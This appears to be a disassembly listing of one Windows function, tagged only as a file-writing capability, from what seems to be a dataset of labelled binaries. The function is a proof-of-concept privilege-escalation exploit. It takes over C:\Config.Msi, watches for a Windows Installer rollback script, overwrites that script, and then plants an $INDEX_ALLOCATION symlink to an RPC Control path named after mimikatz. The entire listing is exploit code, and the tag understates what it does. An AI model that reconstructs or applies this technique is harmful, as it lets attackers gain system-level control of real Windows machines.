Function at 0x1400015c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x1400]
mov eax, 0x1500
call fcn.1400188a0
sub rsp, rax
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rbp + 0x13f0], rax
lea rcx, [0x140022a50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x140001646
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateFile
mov rcx, rbx
mov qword [0x140027df8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x140027de0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140027de8], rax
cmp qword [0x140027df8], 0
je 0x140001d41
cmp qword [0x140027de0], 0
je 0x140001d41
lea r8, str.C:Config.msi
mov qword [rsp + 0x1510], rsi
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.1400013d0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x60]
call qword [0x140027df8]
xor esi, esi
mov qword [rsp + 0x68], 0x30
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x50]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov edx, 0x80010000
mov qword [rsp + 0x20], rsi
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x50], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140027de0]
mov dword [0x140028008], eax
test eax, eax
jns 0x140001762
mov qword [0x140027dd0], rsi
lea rcx, str.C:Config.Msi
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyW]
test eax, eax
jne 0x14000186f
lea rcx, str.____Failed.__C:Config.Msi_already_exists_and_is_not_empty._n
call fcn.140001430
mov eax, 1
mov rsi, qword [rsp + 0x1510]
mov rcx, qword [rbp + 0x13f0]
xor rcx, rsp
call fcn.140002790
mov rbx, qword [rsp + 0x1520]
add rsp, 0x1500
pop rbp
ret
mov rax, qword [rsp + 0x60]
mov qword [0x140027dd0], rax
cmp rax, 0xffffffffffffffff
jne 0x140001714
lea rcx, str.____Failed_to_create_C:Config.msi_directory._Trying_to_delete_it._n
call fcn.140001430
xor ecx, ecx
call fcn.140001d60
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.1400013d0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call qword [0x140027df8]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x60]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov edx, 0x80010000
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], 0x30
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140027de0]
mov dword [0x140028008], eax
test eax, eax
jns 0x140001840
lea rcx, str.___Successfully_removed_and_recreated_C:Config.Msi._n
mov qword [0x140027dd0], rsi
call fcn.140001430
jmp 0x140001714
mov rax, qword [rsp + 0x60]
mov qword [0x140027dd0], rax
cmp rax, 0xffffffffffffffff
je 0x140001863
lea rcx, str.___Successfully_removed_and_recreated_C:Config.Msi._n
call fcn.140001430
jmp 0x140001714
lea rcx, str.____Failed._Cannot_remove_c:Config.msi
jmp 0x140001730
lea rcx, str.___Config.msi_directory_created__n
mov qword [rsp + 0x1518], rdi
call fcn.140001430
lea r8, str.C:poc2
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.1400013d0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call qword [0x140027df8]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x60]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], 0x30
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140027de0]
mov rbx, qword [rsp + 0x60]
lea rcx, str.hDir:__x_n
test eax, eax
mov dword [0x140028008], eax
cmovs rbx, rsi
mov rdx, rbx
call fcn.140001430
mov rcx, rbx
call fcn.1400025f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [0x140027dd0]
lea rdx, [0x140002060]
call fcn.1400010b0
mov qword [0x140027dd8], rax
test rax, rax
je 0x140001a10
mov rcx, qword [rax + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [0x140027dd8]
test rbx, rbx
je 0x140001a10
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x1400019da
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolWait]
mov qword [rbx + 0x58], rsi
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400019ed
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x20], rsi
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x140001a03
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], 0xffffffffffffffff
mov edx, 0x68
mov rcx, rbx
call fcn.1400027ec
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.1400013d0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call qword [0x140027df8]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x60]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 0x80
mov edx, 0x80070000
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], 0x30
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140027de0]
mov dword [0x140028008], eax
test eax, eax
jns 0x140001abd
mov qword [0x140027dd0], rsi
jmp 0x140001a10
mov rcx, qword [rsp + 0x60]
mov qword [0x140027dd0], rcx
test rcx, rcx
je 0x140001a10
mov dword [rbp - 0x40], esi
lea rbx, str..rbs
nop dword [rax]
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rsi
lea rdx, [rbp + 0x3f0]
mov qword [rsp + 0x28], rax
mov r9d, 1
mov r8d, 0xffe
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
mov eax, dword [rbp + 0x3f8]
lea r8, [rbp - 0x68]
shr rax, 1
lea rcx, [rbp + 0x3fc]
mov edx, 0x104
mov word [rbp + rax*2 + 0x3fc], si
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchFindExtension]
mov rdx, qword [rbp - 0x68]
mov rax, rsi
movzx ecx, word [rdx + rax*2]
inc rax
cmp cx, word [rbx + rax*2 - 2]
jne 0x140001d1a
cmp rax, 5
jne 0x140001b42
mov rcx, qword [0x140027dd0]
lea edx, [rax - 4]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov qword [rsp + 0x28], rsi
mov r8d, 0x20000004
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov rcx, qword [0x140027dd0]
call fcn.140001ed0
test eax, eax
je 0x140001b82
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rbp - 0x30]
call fcn.1400013d0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call qword [0x140027df8]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x60]
mov dword [rsp + 0x40], 0x200001
lea r8, [rsp + 0x68]
mov dword [rsp + 0x38], 2
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 0x80
mov edx, 1
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], 0x30
mov qword [rbp - 0x80], 0x40
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rax
movdqu xmmword [rbp - 0x78], xmm0
call qword [0x140027de0]
mov rdi, qword [rsp + 0x60]
lea r8, [rbp + 0x3fc]
test eax, eax
mov dword [0x140028008], eax
lea rdx, str.C:Config.msi_s
lea rcx, [rbp + 0x1e0]
cmovs rdi, rsi
call fcn.140001370
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x1e0]
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x14002800c]
xor r9d, r9d
mov rdx, qword [0x140028018]
mov rcx, rax
mov rbx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
lea rdx, str.____Failed_to_overwrite_rbs_file__n
lea rcx, str.___Rollback_script_overwritten__n
cmove rcx, rdx
call fcn.140001430
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001490
lea r8, str.__C:Config.msi::_INDEX_ALLOCATION
mov ecx, 0xf
lea rdx, str.GLOBALGLOBALROOTRPC_Controlmimikatz1234.exe
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
mov rdi, qword [rsp + 0x1518]
test eax, eax
je 0x140001d26
lea r8, str.__C:Config.msi::_INDEX_ALLOCATION
lea rdx, str.GLOBALGLOBALROOTRPC_Controlmimikatz1234.exe
lea rcx, str.___Symlink__ls_____ls_deleted__n
call fcn.140001430
xor eax, eax
jmp 0x14000173a
mov rcx, qword [0x140027dd0]
jmp 0x140001ae0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_:_d_n
call fcn.140001430
xor eax, eax
jmp 0x14000173a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.140001430
xor ecx, ecx
call fcn.140006bd0
int3